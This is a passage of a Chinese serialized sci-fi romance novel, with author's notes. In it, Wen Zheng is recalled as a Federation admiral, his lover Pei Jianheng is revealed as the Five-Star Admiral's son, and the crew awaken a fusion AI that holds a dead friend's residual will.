他那段时间确实熬得很狠，虽然他很惊讶自己为什么晕了四天三夜这么久，但医疗官一口咬定就是这样，与会的其他上将也都送来了探病礼物，他也就没多想。 却没想到，他就这样和那四天三夜的记忆擦肩而过，忘记了UNK-322，忘记了在实验室的液体中被浸泡磋磨的实验体379，忘记了在那个山洞里发生的一切，忘记了战火漫天和并肩作战，忘记了那些回忆、试探、拉扯、怜爱、心痛、赧然、仰慕和……心动。 第三军团之刃很快就扑到了新的战役中，德瓦帝国的攻击和捍卫联邦的责任让他分不开心神去思考其中的异样，身上背负着的双亲之仇更是让他一刻都无法停歇。 而属于闻铮的第一次心动，不得不沉默地被迫掩埋了。 直到现在，那些错过的记忆、错过的心动、错过的爱人，终于能够在此刻归位。 一切都在偏航四年后，重新回到了原本的轨道上。 在这个小小的休息舱里，一切都很昏暗，一如四年前的那个山洞。 闻铮被裴简珩抱在怀里，他那令人安心的檀木香，正在与四年前重叠，让他眼睫微颤地落下泪来。 他甚至都不敢去想，这四年裴简珩是怎样一个人守着这些回忆过下来的，也不敢去想，他是抱着怎样的心情在酒吧里装作初识和自己上床，更不敢想，三个月前他出现在暗影组，面对自己的质疑、不信任和冷漠，又是作何感想。 “我们从海底被救出来后的第一年，我知道您回到了西翼战场，但我没办法去找您。”裴简珩低声说，“联邦军部发现了我的身体情况，他们紧急召开了最高会议，在有结论之前，我被半软禁在魁斗星。” 沉默了一下，他才继续说：“并且我的身体也出现了并发症，需要进行深层的治疗和疗养。” 赫尔是这个时候被卷进这个3S级机密项目里的。 他作为年少有为的医疗官，接手了两个基因改造病例，一个是他，一个是贺朝。 只是还没等他完全恢复，就听说贺朝先一步退出了联邦军部，进入保护计划，回归了普通人的生活，甚至都没来得及和他见上一面。 而对裴简珩来说，最难熬的是恢复期，比泡在实验皿中难熬多了。 疼痛不止的身体，异样的眼光，失去的同伴和PTSD一样样地在他脑海里不断闪回，他无数次睁开眼睛都不知道自己在哪里，也不知道自己到底还是谁。 “闻哥，是您。”裴简珩呢喃着吻上闻铮的额头，“我全靠念着您，才熬下来的。” 标杆、锚点、支撑、救赎、执念和爱。 这些共同构成了支撑裴简珩熬过去的力量。 “而我彻底恢复没多久，卡斯洛克之战爆发，我想去西翼战场找您，却被军部拦住了。”裴简珩继续说，“我们做了一个交易，我去执行一系列机密任务，等任务结束后，我就可以去找您了。” 卡斯洛克之战…… 闻铮眉心微动，他已经猜到了裴简珩接下来要说什么。 “结果我的任务进行到一半，就听到您宣布退役。” 裴简珩伸手，胆大包天地弹了闻铮一个脑瓜蹦：“您倒好，眨眼之间消失匿迹，我都快急疯了。” 他的动作很轻柔，语调也很温柔，闻铮却眼睛一酸：“……对不起。” “不要道歉，”裴简珩捧起他的脸，好小，感觉只有他的巴掌大，“不管怎样，我都找到您了，也让您重新爱上我了。” “我们经历的这些，并不是你和我任何一个人的错误，我们都各有难处，又何必再互相抱有亏欠。” 闻铮深深地叹气，随后闷闷道：“你才27岁，怎么能把这些都看得这么透彻。” “因为这些是我的课题，”裴简珩微笑，“您已经帮了我很多，我总要成长，才够资格与您携手并肩。” “不然……” 裴简珩垮下了脸，眉眼之间颇有几分委屈可怜：“您这么好，有这么多人喜欢您，您又不记得我了，被人抢走了怎么办。” 闻铮：“……” 他无奈地伸手糊了裴简珩一脸，最后还是微微踮脚在他唇上落下一吻。 裴简珩收紧了搂着他腰的手，加深了这个吻。 就在他们失而复得愈吻愈烈的时候，头顶全舰广播开启了。 凯利斯的声音煞风景地响起：“舰桥呼叫舰长，闻哥，请立刻到舰桥来，有一个联邦通讯正在呼叫我们。” …… 闻铮和裴简珩整理好，回到了舰桥上。 舰长看到自己的舰员都抽空换上了联邦军装，把丑得要死的德瓦制服扒了下来，心里很满意。 同样的，舰桥上面的凯利斯和赫尔也都看到了一起前来的舰长和舵手，两个人眼眶都还微微红着，看上去着实是有些……不对劲。 当然了，谁都不敢问，只能装作没看见。 这时，舰桥的门又开启，茱莉形象的程迹走了进来，他对闻铮点头示意，就回到了科学官的工位上。 闻铮坐在了舰桥中心的舰长椅上，问：“凯利斯，通讯是怎么回事？是江悦他们的频道吗？” “不是。” 凯利斯正了神色，他看着屏幕上显示的通讯代码，神色复杂，几分怀念，几分怀疑，几分无措。 半晌，他才缓缓道：“是星舰军队总部。” 除了闻铮，舰桥所有人都是一怔。 星舰军队总部？ 裴简珩皱眉：“我们还没有到达联邦领空，还在空间迁跃里，星舰军队总部是怎么知道要联系逐星号的？” “是我先联系的他们，他们倒是比我想象中的动作还要快。” 出乎所有人意料，闻铮却毫无惊讶的神色，他只是端坐在舰长席上，整理好了身上属于上将的徽章和肩穗，脊背挺直，姿容卓绝。 “诸位，准备好。”闻铮淡淡道，“我们即将和星舰军队总部进行通讯了。” 所有人又是一震，心里五味杂陈。 舰桥上的这些人，凯利斯上校、裴简珩中校、赫尔少校，就连已经是联邦逃犯的程迹，曾经都是少将，更不要说轮机室还有一个远程加入舰桥会议的准少尉黎晓。 所有人都是、或曾经是星舰军部的一员，又都或多或少因为某些原因而不得不离开。 这个通讯，对他们所有人来说，都意义非凡。 舰桥上的四个人从自己的位置上站了起来，默不作声地在闻铮舰长席的后面站成一排，双手交叠搭在后腰，标准的联邦军人站姿。 闻铮按下了通讯接听。 下一秒，一个面容英挺矍铄的中年Alpha就出现在了前方的主屏幕上。 闻铮也从舰长席上站了起来，双手交叠在后腰，对来人的影响点头致意：“艾德莱斯五星上将。” 艾德莱斯五星上将看到他，神色也柔和了几分：“闻上将。” 闻铮许久没见他了，艾德莱斯五星上将是联邦军部最高话事人，也是目前所有人公认等级最高的S级Alpha，同时，他也是闻铮的朋友、伯乐、知己。 闻铮深吸了一口气：“您的回复比我设想的更快一些。” “因为我们没有时间了。” 艾德莱斯五星上将蓝色的眼底闪过一丝怅然：“德瓦帝国元帅奥克斯·奴瓦辛戈，否认参与7号星的恐|怖|袭击，并以联邦对德瓦帝国的污蔑为由，于六个小时前，对联邦第三次宣战。” 闻铮的瞳孔猛地紧缩！ “我知道我们的交易规定的时间还没到，但很抱歉，交易不得不中止。” “联邦需要你，闻铮。” 艾德莱斯上将凝视着他，声音不高却掷地有声。 “闻铮，你于此刻被联邦军部正式召回，重任第三军团上将及悬空号舰长。” “——立即生效。” ——卷三. 过往之迹 完———— 作者有话说：第三卷结束！ 接下来进入第四卷啦！[加油][加油] ———— 感谢珍白雪w、34402499、苏怿清、三硝和睡不醒醒的营养液！ 掉落联邦军服模型x1！《 》 130-140 第131章 你怎么在这儿？！ 艾德莱斯上将的声音掷地有声, 逐星号舰桥上的其他人都忍不住望向了闻铮。 闻铮颔首，敬了一个联邦军礼：“闻铮领命。” 艾德莱斯上将见他毫不犹豫地服从了命令，脸色轻松了起来。 闻铮又道：“艾德莱斯上将, 情况紧急, 我需要向您征询一个特殊申请。” 艾德莱斯上将微微挑眉。 闻铮背对着身后的成员们，直视着眼前这位联邦军部权力最高的Alpha, 直直道：“我需要战时特殊任命权。” 这是一条尘封了很久的法规。 联邦军部法条浩如烟海，这条被淹没其中, 几乎没人知道，就连艾德莱斯上将都愣了一下。 战时特殊任命权, 是指上将或舰长，可在战争时期紧急任命其认定的人员担任某种下属职责, 不问出处, 不看背景, 理论上来说, 哪怕是囚犯或者叛徒, 也可以。 但相应的，这位上将或舰长也要担负起连带监管责任, 并且一切只发生在战争时期，一旦战争结束, 临时职务都会被系数解除。 这一条是属于上将和舰长的权力，但已经很多年没有人使用了。 现在闻铮又重新把这条翻出来执行，着实让艾德莱斯上将有些惊讶。 但他一贯很认可闻铮，无论是作为长官、朋友还是长辈。他对闻铮有惜才之心，也相信闻铮的每个决断都有他自己的考量，所以没有多想也就批准了。 闻铮心里轻轻松了一口气。 不管怎样，只要这些人还愿意跟着他, 他就一定会把所有的路都铺好。 艾德莱斯上将说完了正事，语气也轻松了起来：“你们先回总部吧，还有其他的事等着你。” 这时，他才注意到站在闻铮身后的四位舰员，目光一一扫过去，先对一个熟悉的面孔颔首示意。 “凯利斯上校，”他笑了笑，“好久不见，很高兴还能在闻上将身旁看到你，你的忠诚一如既往地令我印象深刻。” 凯利斯的神情也有些复杂，缓缓应道：“……我的荣幸，五星上将。” 其实就连对闻铮的真实身份知之甚多的凯利斯，此刻也是半懵状态。 当年闻铮在那场授勋仪式上突然宣布退役，军部所有人都措手不及，直播仪式播了一分钟不到就被强行切断，显而易见军部高层有多震怒。 随机而来的是全网封杀，任何有关于闻铮的只言片语和身份信息都被删除，对待叛国分子也不过如此！ 凯利斯不管这些，闻铮之于他是至交好友，也是一手将他提拔出来的伯乐，不管闻铮到底出于什么原因，只要不是背叛联邦，他都会追随到底。 也因此，他随着闻铮一路从首都星到7号星，从第三军团到暗影组，从破晓号再到如今的逐星号，他早就做好了回不去第三军团和首都星的准备，结果艾德莱斯上将一出现，他却发现好像并不是他想的那样？！ 艾德莱斯五星上将的意思，某种意义上就代表了联邦军部的态度，某种意义上，他就是联邦军部。 这让凯利斯不得不浮现一个想法，难道所谓的退役和撕破脸，背后是闻哥和联邦军部的一盘棋……？ 他还在那边沉思，艾德莱斯上将已经把目光转向了下一个人。 面对这位白发紫眼的艾尔文医疗官，艾德莱斯上将却收起了刚刚面对凯利斯的笑容，带有几分怅然和严肃：“……赫尔少校，我很遗憾。” 赫尔显然也认得艾德莱斯上将，听他这么说，眼底也滑过一丝怅然，轻声道：“多谢您，艾德莱斯上将。” 闻铮闻言心里微微一动。 艾德莱斯上将话里话外的意思，好像赫尔失去了什么重要的人，并且这个人他也认识。 但自从他认识赫尔以来，这位艾尔文医生却只字未提过。 艾德莱斯上将把目光从赫尔身上滑过去，下一刻却皱起了眉头，厉声道：“你怎么在这儿？！” 闻铮这次心里可不是简单地动一动了，他的心都要提到嗓子眼！ 他甚少见到艾德莱斯上将如此疾眼厉色的模样，一时之间也有些惊慌，在脑子里回忆程迹刚才是否是茱莉的模样，难道被艾德莱斯上将发现他们窝藏联邦一级逃犯了？ 闻铮这时候开始庆幸，他第一件事就是向艾德莱斯上将要来了战时特殊任命权。 真要是被发现了，他也只能硬着头皮—— “——裴简珩！” 此言一出，所有人都愣在当场。 凯利斯、茱莉、还有全息影像接入的黎晓，都愕然地转头看向自己这位一直都十分神秘的同事，只有一旁的赫尔，却摸了摸鼻尖，有些幸灾乐祸。 裴简珩却迎着艾德莱斯上将愠怒的目光，站直了脊背，淡淡道：“好久不见。” “——父亲。” 所有人都倒吸了一口冷气，就连闻铮，都蓦地转过身来，万分惊愕！ …… 闻铮眯起眼睛，重复了一遍：“父、亲？” 裴简珩苦笑一身，还没等他解释，艾德莱斯上将依然眉头紧皱，风雨欲来：“谁允许你离开121——” 他的话音戛然而止，显然是顾虑到了在场的人，而把后面的话咽了下去。 裴简珩只是对他点了点头：“我已经安排好了，您不用担心。” 艾德莱斯上将显然没有被他简简单单的一句话说服，眉头依然没有解开，但看到这么多人都在，也不想再多说什么，绕开了话题：“事态紧急，闻上将，你需要立刻返回首都星军部总部。” 闻铮颔首。 “至于你，”艾德莱斯上将又看向了自己这位儿子，沉吟片刻后才说，“算了，我早该猜到你会在这里，你跟着一起回来吧，我也有事情要和你说。” 说完，他离线了。 闻铮最担心的茱莉，他倒是看都没看一眼。 而在艾德莱斯上将离线以后，这个舰桥陷入了巨大的沉默和震撼。 半晌，凯利斯才艰难道：“如果我没有幻听，你刚刚是叫了艾德莱斯上将‘父亲’是吗……？” 黎晓也是一脸恍如梦中的表情，就连茱莉那张姣好中性的脸上都显出了几分愕然。 裴简珩这次倒是没有否认，微微点头：“抱歉，此前没有和你们说，我的父亲确实是艾德莱斯上将。” 凯利斯这才反应过来：“那你的另一个父亲就是……裴又青？！” 联邦财富榜上一直排名前三的裴又青？！ 怪不得裴简珩这小子能有钱到这个份上！ 凯利斯顿觉头晕目眩。 虽然他一早就猜到裴简珩能空降到暗影组，肯定家世背景不会差，但谁敢想他父亲是联邦军部最高掌权人，另一个父亲是商业巨鳄世家的话事人啊？！ 他一手扶住了身边的赫尔：“让我缓缓先……” 赫尔同情地拍了拍他的肩膀，显然早就料到了这一幕。 他就说吧，你们总有一天也会和他一样仇富的。 裴简珩的目光有些躲闪地看向了闻铮，他最怕闻铮生气。 果然，闻铮的表情十分复杂，是那种不能用生气简单概括的复杂。 刚刚在裴简珩那句“父亲”一出来的时候，闻铮简直是两眼一黑。 这个Alpha虽然比他小六岁，但年龄差距也没有很离谱吧？ 怎么一眨眼，就变成自己的世侄了？！ 他和艾德莱斯上将认识了很多年了，也算是忘年的莫逆之交，谁能想到隐姓埋名了这几年，再见面的时候，惊觉自己竟然把好友的儿子睡了！ 他刚才是没反应过来，现在想想，他怎么和艾德莱斯上将交代…… 要不是当着这么多人的面，闻铮真的很想抹一把脸。 这时候，他也看到了裴简珩看过来的眼神，又是那种可怜巴巴的大狗眼，让闻铮想生气也生不出。 他虽然在给裴简珩下命令，但却转开了眼不和他对视：“设定首都星为本次航行目标地。凯利斯，你来负责舰桥，我去一趟轮机室。” 裴简珩张了张嘴，还没等他那句闻哥出口，闻铮的身影已经急匆匆地消失在了舰桥外。 赫尔眼看着仿佛有一对狗耳朵从自己好友的头上耷拉下来，忍不住在一旁双手环胸幸灾乐祸：“玩脱了吧。” 裴简珩瞪他一眼。 不过他转而也想到了刚刚匆匆离去的闻铮，在身份揭晓后，他硬是一眼都没看向自己。 Alpha心里也浮现出巨大的恐慌，本来他就无法最终标记闻铮，这种患得患失一直埋在他心底。如今的心虚和愧疚更是加剧了这种感受，让他的信息素都开始不稳定起来。 为什么不看自己一眼就走了…… 真的这么生气吗…… 黎晓值得他亲自去轮机室吗，打个全息通讯不行吗…… 裴简珩幽怨地想了半天，最后下定了决心。 ……不行，他得去缠着闻哥！ 另一边，赫尔随身携带的生理监测仪滴滴滴地响了起来。 医生疑惑地掏出生理监测仪看了一眼面板，警觉。 哪个Alpha到易感期了？！ …… 轮机室的门检测到了舰长的身份信息，自动开启。 闻铮走进去的时候，正好看到清秀的Omega正杵在轮机室的数据悬浮看板前发呆。 为什么说发呆，因为数据看板已经在提示用户三分钟没有进行任何操作了。 所以黎晓连闻铮进入轮机室都没发现，直到有一只修长的手伸过来，在数据看板即将自动消隐的前一秒按下了继续。 黎晓浑身一震，连忙转过头去，映入眼帘的是一张瘦削艳丽的脸—— 作者有话说：小裴（已掉马 我看有的宝宝已经猜出来啦！好聪明！[抱拳] 第132章 但我已经爱上你了 “在想什么？” 闻铮绕到了黎晓正面, 靠在桌子上含笑看他。 这个Omega像是应激了一样，好像他才是艾尼默兔属，一蹦三尺高：“闻哥、不是、舰长、不、闻上将——” 闻铮伸手搭在他的肩膀上把他按下来：“还像以前一样就好, 你没变, 我也没变。” 黎晓愣愣地看着他，千言万语到最后竟然一个字都说不出来。 “我欠你一个正式的道歉, 黎晓。” 闻铮正色，他的眼底的的确确有着真心的歉意和怅然：“我曾经给了你一个承诺, 却又不得不失信于你，是我的错。” 黎晓噌的一下从座位上站起来, 双手摆动得都快有了残影：“不不不——这怎么，会是您的错呢。” 他的声音越说越小, 直到几不可闻。 半晌, 他才道：“您在我绝望至极的时候给了我希望, 是这个希望救了我, 否则我也不知道我会做出什么事情来。” “我知道您不是故意失信的, 我本就不该将所有的希望都寄予在您身上。”黎晓终于鼓起勇气看向闻铮的眼睛，真诚道, “如今这个局面，不是您的错, 也不是我的错。” “刚从星舰军校离开的时候，我满心愤怒，我认为这都是星舰军校那群老不死的错！” “但后来我明白了，某种意义上这甚至也不完全是他们的错，是联邦的制度没有追赶上时代觉醒的脚步。” 黎晓微笑起来：“人类Omega的身体机能固然相对孱弱，但我们也不再是需要被一味保护的群体，我们足够聪明和出挑, 能够在轮机学院获得一席之地。” “总有人要做这第一个人，我愿意做这第一个人。” 在这一刻，闻铮的心被极为深刻地触动了。 同为Omega，黎晓说的每一个字，他都能感同身受。 他能当上舰长、上将、能有机会成为第三军团之刃，是因为他比黎晓幸运一点，没有被发现是Omega。 如果他没有狠心挖掉自己的腺体，他也早就被发现了。 欺瞒军部，这是重罪。 他永远也不会有机会复仇，不会有机会站到更高的位置上。 现在的联邦社会，Omega和Alpha已经达到某种意义上的相对公平，比之几百年前那种Omega的极低地位可以说已经是翻天覆地的变化了。但一些高精尖的岗位，比如星舰舰桥的指挥岗位，依然只允许Alpha担任。 官方说法是因为伤亡率过高，Alpha有着更为强硬的机能，战争期间更容易存活。 是真是假，闻铮不予置评。 十六岁的闻铮认为，他的能力太过微薄，改变不了这个世界，只能改变自己。所以他挖掉了腺体，扔掉了Omega的身份，披上Alpha的皮，只为能在军队和舰队中赢得一席之地。 而现在，三十三岁的闻铮，突然意识到，当他已经走到了这个位置，当他已经攀上了这座高峰，他就可以从个人层面跳出来，进而改变这个世界。 黎晓怅然地抚摸着眼前的轮机室悬浮屏，有些不舍：“您回到军部以后，我就不能再担任轮机室的成员了，最后这一程，我会好好——” “你就是我的轮机长，谁也改变不了这个事实。” 闻铮打断了他，微笑起来：“当年我给你许下的诺言，请允许我现在再履行。” 黎晓震惊地睁大眼睛：“可是，军部——” “你刚才也听到了，我现在有战时特殊任命权。”闻铮道，“黎晓，我现在任命你为悬空号的轮机长，上尉军衔，你是否接受？” 黎晓仰着头看着他，一瞬间泪如雨下。 “我……我不知道我能否担任这么重要的岗位，我甚至都没拿到星舰军校的毕业证！如果我失误了怎么办？”黎晓哽咽，“悬空号有五百多人，如果我承担不起这么多人的责任怎么办……？” “你只是轮机长，不是舰长。”闻铮失笑，“悬空号上所有人的责任是我的，不是你的。” “你只需要做好我交给你的命令就足够了，其余的事情交给我来担心。” 闻铮伸手揉了揉黎晓的头发：“别担心，我会找人帮你飞速成长起来的。” 他转身朝门外走去，走到一半又转过身来，看着仍然呆立在原地的黎晓：“黎晓。” 黎晓懵懵地朝他看过来。 闻铮弯了弯那双墨眸：“你是第一个走到这个位置的Omega，我希望你成功。” 黎晓遥遥望着他离开的身影，那个修长高挑的背影，在身后微微晃荡的半长头发，似曾相识的熟悉声音……都在和几年前他躺在病床上奋力看到的那一眼重合。 他眨了眨眼，把朦胧的泪意逼回去，转而看向了那块轮机室的中控悬浮屏。 闻哥说希望他成功。 那自己就一定会成功。 …… 闻铮刚走出轮机室，在下一个拐角就被一股大力猛地拽进了侧翼安全出口！ 他也没反抗，因为那股檀木香已经浓郁到仿佛置身于亚寒带针叶林了。 裴简珩把他压在墙上，垂眼看他，眼睛里充斥着愧疚、不安和忐忑。 他喃喃道：“闻哥……对不起……” 闻铮也看着他那张年轻俊美的脸，半晌也只能叹口气，伸手就弹了他一个脑瓜蹦：“你啊，我还能拿你怎么办？” 听他这句话，裴简珩才把一颗心放回肚子里，立马把闻铮紧紧拥入怀中，像只大狗一样在他脖颈处嗅来嗅去，寻找自己Omega气味的安抚：“我好害怕您生我气，好害怕您离我而去……” 好想把您永远困在我怀里，好想就这么永远都不放开，让您是我的，也只能是我的！ 虽然易感期，但裴简珩也没有失去理智，后面那几句话还是咽下了没说。 闻铮仰着头任他肆意妄为，伸手摸上了他那头手感很好的银色头发：“好了，我们经历了这么多事，都到这个时候了，难道我还会把你扔下吗？” 裴简珩回应他的是闷闷的声音：“如果您一早就知道我父亲是艾德莱斯上将，您还会给我机会吗？” 闻铮回答得干脆利落：“不会。” 裴简珩更幽怨了：“怎么连骗都不骗我。” 闻铮道：“和自己好友兼恩师的儿子纠缠不清，难道是很光彩的事情吗？” 就连现在，他都不知道还要怎么面对艾德莱斯上将。 他认可自己、赏识自己、提拔自己，让自己跟着他学习成长，给了自己无比珍贵的机会和信任，结果倒好，他把他前途无量的儿子拐到床上了，联邦最高等级的传说级别Alpha，最后被一个腺体残缺的Omega迷的彻头彻尾！ 这……这什么事啊？这像话吗？！ “但我已经爱上你了，裴简珩。” 闻铮平静地说出了这句话，宛如一道惊雷把裴简珩劈得晕头转向，不知西东。 “——所以我不会离开你。”闻铮凝视着他，毫无语气起伏地说出了就连裴简珩做梦都没想到的话，“除了家国生死，我不会因为任何人、任何事就和你分开。” 裴简珩被那双漆黑的眼睛凝视，好像被整个宇宙吸入其中，让他无法挣扎，也不想逃脱。 他更加用力地抱紧了闻铮，吻如同流星一般悉数落在Omega的脸和脖颈上，虔诚得宛如怀抱着他的信仰和他的神。 “闻哥……闻哥……” 易感期的Alpha本来就缺乏安全感，无法最终标记自己的Omega只会让他更加烦躁不安，而这些生理反应，却被闻铮两句话就压制下去了。 他知道闻铮是什么样的人，只要他说出了这句话，那就代表他想清楚了，他认了，他这辈子都不会轻易和裴简珩分开。 裴简珩捧起闻铮的脸，他的吻宛如狂风骤雨，吻得闻铮喘不上来气，连津液都顺着唇角蜿蜒而下，在衣领上滴落出一个旖旎的痕迹。 最后的最后，裴简珩又在闻铮唇上落下近乎虔诚的一吻，喃喃道：“……我爱你，我真的爱你。” 他爱得太深，以至于无法用语言来形容到底这份爱有多厚重，千言万语千头万绪，只能都融在这一个轻如鸿毛的吻里。 闻铮却懂了。 他双手环上裴简珩的脖颈，加深了这个吻。 他前半生颠沛流离，从别无所求到一无所有，从父母双全到孑然一身，恍恍惚惚咬牙又捱过十六年，终于得以遇见裴简珩，遇见他此生的归处。 被这样的人毫无保留地爱过，谁还能狠心离开？ 两个人气息微喘，闻铮却想到了什么：“我只听说艾德莱斯上将家里有一个Alpha儿子，从商了，怎么从来没听过你？” “那是我哥，霍曼·艾德莱斯。”裴简珩也缓了缓呼吸，“他是经商天才，跟父亲一起去做生意了。我跟了裴姓，从小不爱往外跑，也不喜欢参加各种活动。去了星舰军校后，我也不喜欢提及家庭，所以很少有人知道。” 怪不得。 闻铮这才恍然，怪不得他也没怎么听艾德莱斯上将讲过他有两个儿子。 犹豫了一下，闻铮还是没把那句“你和艾德莱斯上将关系不好吗”问出口。 这时，全舰广播又响了，是茱莉的声音。 “闻舰长，请到实验室来。” ……应该是融合体有进展了。 闻铮轻轻推开了裴简珩，低咳一声：“整理一下，我们一起去。” 裴简珩最后在他唇上又亲了一下，眼睛亮晶晶。 闻铮越看他越像自己家曾经养过的那只大狗，还是没忍住捏了他脸一把。 裴简珩：“……？”—— 作者有话说：小裴：不能弃养大狗[可怜] —— 感谢34402499、珍白雪w的营养液！ 掉落悬浮屏x1！ 第133章 自我意志 闻铮和裴简珩出现在实验舱的时候, 程迹、黎晓和凯利斯都已经在里面了。 闻铮能看见黎晓眼眶还有些红，也没说什么，移开了目光。 程迹对闻铮颔首：“指挥官。” 闻铮问：“你从霍华德那边问出来了吗？” “当然, ”程迹温柔一笑, “我还以为德瓦人的骨头有多硬呢。” 这句话一出来，黎晓在旁边打了个寒颤。 不知为何, 他突然觉得自己的偶像有点吓人…… 凯利斯低声问闻铮：“闻哥，联邦禁止私刑, 违令者要进监狱的——” 之前几年闻铮隐藏身份在暗影组，游走于灰色地带, 也没有军衔在身上，一些手段也就睁只眼闭只眼了。 但现在既然已经要回到联邦了, 霍华德也会被交给联邦军部, 一旦他说出什么来, 对闻铮可不会毫无影响啊…… 闻铮倒是语气平静：“好, 那让程迹去坐四千七百二十二年的牢吧。” 凯利斯：“……” 也是, 债多了不愁，虱子多了不咬。反正动手的人是程迹, 四千七百二十一和四千七百二十二到底有什么区别。 程迹早知道闻铮利用他的打算，他也不生气, 这正是背负灭族之恨的他所需要的。他拉开了悬浮屏：“霍华德给了一些信息，我也研究了一下，德瓦人在逐星号上嵌入的智能融合体确实和运霖如出一辙，只是阶段更加成熟，可以搭载运行的算力和能力也更高。” “只不过，按照数据来说……”程迹沉默了一下，方才道, “闻舰长，你刚刚尝试重启联邦人工智能中控系统，本不可能成功的。” 闻铮一怔：“为什么？” “它的运算力和优先级远高于联邦人工智能中控系统，”程迹答，“从客观数据来看，它会把联邦中控系统压制得死死的。” “但我还是成功了，”闻铮蹙眉，“为什么？我不认为是单纯的运气好。” “是的，这和运气毫无关系。”程迹缓缓道，“这个融合体仍然具有0.003%的自我意志残留，联邦人工智能中控重启时，它的自我意志压制了其搭载的人工系统，这才给联邦中控系统一线生机。” “换句话说——” 闻铮轻声道：“——无论这个智能融合体生前是谁，都是它残留的自我意志救了我们。” 一瞬间，所有人都哑然。 人性的光辉，哪怕只有0.003%的残留，也足以让他奋起反抗，为人类觅得一丝奇迹。 闻铮半晌才道：“如果是这样，他并不是我们的敌人，为什么会锁住我们的武器舱？” 程迹注意到闻铮改口了，从“它”变成了“他”。 “他应该不是故意的，”程迹也改口道，“在被毁灭的前一刻，他把所有能量都浓缩到了一团，随机寻找了一个出口躲着，只是恰好寄生到了武器系统而已。” “不管怎样，我已经掌握了毁灭智能融合体的办法。”程迹合掌，悬浮屏在他双掌之间消失，“等你的命令了，闻指挥官。” 闻铮右手食指不自觉地轻轻敲打着大腿外侧，思忖了一会儿，问程迹：“有可能和他对话吗？” 程迹一怔：“你要和他交流？这有一定风险，有1%的几率会触发他搭载的人工系统。” “他既然拼尽全力救了我们，我当然也不能一言不发地直接毁灭了他。”闻铮微微垂眼看向悬浮屏，“我希望我们能好好聊聊，如果他不愿意再这样活下去，我们当然可以把他毁了。但如果他和运霖一样还有所眷恋，我也希望能有所回报。” 程迹的表情复杂起来，半晌才道：“……可以是可以。” 闻铮的目光扫过房间里其他人，征询意见：“你们的意思呢？” 凯利斯颔首：“智能融合体救了我们，如果我们不由分说地将他毁灭，这和德瓦帝国并无分别。” 黎晓也点头。 裴简珩也笑了笑：“做您想做的吧，闻哥，我们都和您站在一边。” 闻铮吐出一口气，看向程迹的眼底多了几分坚定：“程迹，我需要你时刻关注数据，如果到达智能融合体的人工系统临界点，不管什么情况，立刻执行毁灭。” 逐星号上还有艾尼默人和人类幸存者，以及能证明德瓦帝国在进行种族灭绝实验的蓟梨草，就算闻铮再怎么不忍心，从大局出发，他也不能冒险。 程迹颔首，他对这位闻上将又有了新的认知。 人性的光辉和杀伐决断的大局观在他身上融合得非常完美，某种意义上，也许艾德莱斯上将就是看到了他身上这种联邦的精神，才会从茫茫人海中将这一颗璞玉挖出来，雕刻成最耀眼的明珠。 程迹又拉开了悬浮屏，在上面飞快地计算着，如烟海般的数据浮现又湮灭，黎晓在他旁边也神情专注地盯着悬浮屏，时不时和程迹讨论两句。 过了两分钟，程迹抬起头：“智能融合体已经唤醒。” 然而什么都没有发生。 还不等闻铮发问，程迹就先皱紧眉头，在数据看板上操作了几下，半空中的悬浮屏兀地出现了一团宛如云雾的东西，左红右蓝，互相正在尝试压倒对方，并进而蚕食干净。 程迹神色冷峻：“智能融合体无法分割，整体都苏醒了，生物残留意志正在和其搭载的德瓦帝国人工系统争斗。” 他又虚虚画出一条线，那是临界值。 超过这条线，智能融合体内嵌的德瓦人工系统就有可能重新盖过联邦人工智能中控，重新掌握逐星号。 所有人都紧张了起来，那团云雾赫然成为目光聚集点。 闻铮更是神色严峻，眼睛一眨不眨地盯着智能融合体那场拉锯战。 蓝色逐渐压过了红色，慢慢逼近了临界值。 程迹沉了脸色：“预估十二秒后，人工系统会到达临界值；三十秒后，自我意志会被吞噬，人工系统完成100%侵占。” 闻铮心里一颤，他盯着越来越小的红色光团，下意识道：“不管你是谁，能否再奋力一搏……” 红色光团却好像听到了他的话一般，蓦地停滞住了。 程迹报告：“还有十秒，十——” 闻铮缓缓闭上了眼睛，似乎是不忍再看：“三秒后执行彻底毁灭。” 他心里有些怅然。 不管这个智能融合体生前是谁，多谢他拼死寻觅出的一线生机，但为了这艘船上所有人，还是不得不毁灭整个智能融合体，也包括他最后那一缕自主意识。 闻铮喃喃：“抱歉……” 就在这时，裴简珩却突然握住了闻铮的胳膊，急声：“——闻哥！” 闻铮猛地睁开眼睛！ 原本完全出于下风的自主意识却不知何时奋起，强硬地逼退了蓝色人工系统，硬生生把蓝色光团逼离临界线外！ 闻铮立刻制止了要按下毁灭键的程迹，众人都是提心吊胆地看着这场绝地反击的拉锯战到底是何结果。 红色光团一步步逼退蓝色，将它逼退得越来越远。 当蓝色光团被蚕食到五分之一的时候，程迹眼睛微眯，双手在悬浮数据屏上飞快地操作着，旁边的黎晓简直看呆了。 就在红色光团显出一些乏力的时候，蓝色光团却突兀地消失了！ 红色光团愣住，其他人也愣住。 闻铮看向程迹，克米恩科学家推了推黑框眼镜：“多谢运霖，我知道该如何将式微的人工系统压制成0.000001%的份额。” 他又挥了挥手，如今的光团已经成为彻头彻尾的红色。 程迹对着光团示意了一下：“闻舰长，现在你可以和他对话了。” 闻铮踏前一步：“能听见我说话吗？” 他的语气很轻柔。 沉默。 就在闻铮以为又出现了什么问题的时候，一个虚弱又熟悉的声音轻轻响起：“……是你吗，闻？” 闻铮瞳孔紧缩，他三步并作两步冲到操作台前，抓着操作台边缘的手背都用力到青筋暴起！ “戈、戈维？！” …… 黑暗。 无边无际的黑暗，连一丝光亮都没有。 茫然。 这里是哪里，他又是谁。 “戈维？” 朦胧间，一个温柔的声音轻轻传来，让他恍然地抬头看去。 一个黑发少年正站在他面前，温柔地笑着看他。 “好久不见，我好想你。” 就这一句，他想起了全部。 想起了自己是谁，想起了对面的少年是谁。 想起了他曾经把绝望至极的自己从天桥上救下来，想起了三个小朋友的相依为命，想起了那些希望多过于绝望的日子，想起了自己和苑苑看着他身上那些伤痕落下的眼泪。 想起接到他死讯那一瞬间昏暗下去的世界，还有被仇恨吞噬成为行尸走肉的自己。 想起那个黑色覆面人给他的一个了结，他将刀刺入欧睿身体里时飞溅到脸上那些温热的血。 又想起了天桥上遇见三次的那个瘦削身影，落在自己头上的温暖的手，看向他的那双温柔的黑曜石般的双眸，送给他的那把匕首，低低叫他的那声小朋友。 那场对峙，那间看似黑暗却温暖的审讯室，那个温柔的怀抱和放声大哭的自己。 银色的监禁室，窒息的氛围，热水淋下来时的舒缓，突然闯入的男人，和一刀一刀刺进自己身体里的痛。 他全都想起来了。 